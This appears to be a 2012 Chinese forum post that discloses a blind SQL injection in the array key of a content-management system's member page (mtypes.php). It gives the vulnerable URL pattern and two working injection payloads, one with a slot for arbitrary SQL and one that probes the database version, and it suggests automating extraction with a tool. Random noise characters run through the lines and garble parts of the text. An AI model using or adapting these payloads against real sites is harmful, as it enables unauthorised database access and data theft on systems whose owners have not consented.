需要magic_quotes_gpc = Off,所以说是鸡肋啊.
/ {) `. r3 ~ p5 ]. q" D1 I ~6 |' d: N0 ~) P
, ^, K6 s' c+ U. Z2 R4 {- W" D( q' y发生在数组key里的注射漏洞,有点意思.6 F: T3 e! P' S0 R2 }' O- N
) x: `% h& B, s j1 D这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下
' e3 C* o9 t F' z! o5 \% N4 s ; p+ _5 S0 t$ h
http://www.xxx.com /dede/member/mtypes.php?dopost=save5 A) t/ Z6 \- C( ?' ]( ?/ l
' u* J% N- f* i+ p. E2 d3 n# k" iexploit:+ J9 N* h# O% S3 w( r7 j; b! R
mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r( P2 |8 D' L/ S
mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r# n" ]; g$ d; s- ~- d. y
|
发表于 2012-12-20 08:08:09
收藏
支持
反对